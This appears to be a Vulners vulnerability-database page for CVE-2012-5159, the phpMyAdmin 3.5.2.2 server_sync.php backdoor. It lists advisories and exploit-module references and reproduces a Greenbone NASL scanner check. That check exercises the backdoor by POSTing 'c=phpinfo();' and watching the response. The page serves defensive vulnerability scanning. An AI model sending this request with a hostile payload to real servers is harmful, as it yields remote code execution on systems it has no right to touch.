| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2012-5159 | 10 Oct 201200:00 | – | circl | |
| CVE-2012-5159 | 25 Sep 201222:00 | – | cve | |
| CVE-2012-5159 | 25 Sep 201222:00 | – | cvelist | |
| DSquare Exploit Pack: D2SEC_PMA_BACKDOOR | 25 Sep 201222:55 | – | d2 | |
| CVE-2012-5159 | 25 Sep 201222:00 | – | debiancve | |
| phpMyAdmin 3.5.2.2 - 'server_sync.php' Backdoor (Metasploit) | 10 Oct 201200:00 | – | exploitdb | |
| phpMyAdmin 3.5.2.2 server_sync.php Backdoor | 25 Sep 201215:47 | – | metasploit | |
| CVE-2012-5159 | 25 Sep 201222:55 | – | nvd | |
| One server from the SourceForge.net mirror system was distributing a phpMyAdmin kit containing a backdoor. | 25 Sep 201200:00 | – | phpmyadmin | |
| phpMyAdmin server_sync.php Backdoor (PMASA-2012-5) | 26 Sep 201200:00 | – | nessus |
| Source | Link |
|---|---|
| phpmyadmin | www.phpmyadmin.net/home_page/security/PMASA-2012-5.php |
| securityfocus | www.securityfocus.com/bid/55672 |
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:phpmyadmin:phpmyadmin";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103577");
script_cve_id("CVE-2012-5159");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_version("2025-01-31T05:37:27+0000");
script_name("phpMyAdmin 'server_sync.php' Backdoor Vulnerability");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55672");
script_xref(name:"URL", value:"http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php");
script_tag(name:"last_modification", value:"2025-01-31 05:37:27 +0000 (Fri, 31 Jan 2025)");
script_tag(name:"creation_date", value:"2012-09-26 09:52:24 +0200 (Wed, 26 Sep 2012)");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_family("Web application abuses");
script_copyright("Copyright (C) 2012 Greenbone AG");
script_dependencies("gb_phpmyadmin_http_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("phpmyadmin/http/detected");
script_tag(name:"solution", value:"The vendor released an update. Please see the references for
details.");
script_tag(name:"summary", value:"phpMyAdmin is prone to a backdoor vulnerability.");
script_tag(name:"impact", value:"Attackers can exploit this issue to execute arbitrary code in the
context of the application. Successful attacks will compromise the affected application.");
script_tag(name:"affected", value:"phpMyAdmin version 3.5.2.2 is known to be vulnerable. Other
versions may also be affected.");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
host = http_host_name(port:port);
url = dir + "/server_sync.php";
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(!buf)
exit(0);
if(buf =~ "^HTTP/1\.[01] 404")
exit(99);
ex = "c=phpinfo();";
len = strlen(ex);
req = string("POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", len, "\r\n",
"\r\n",
ex);
result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if("<title>phpinfo()" >< result) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation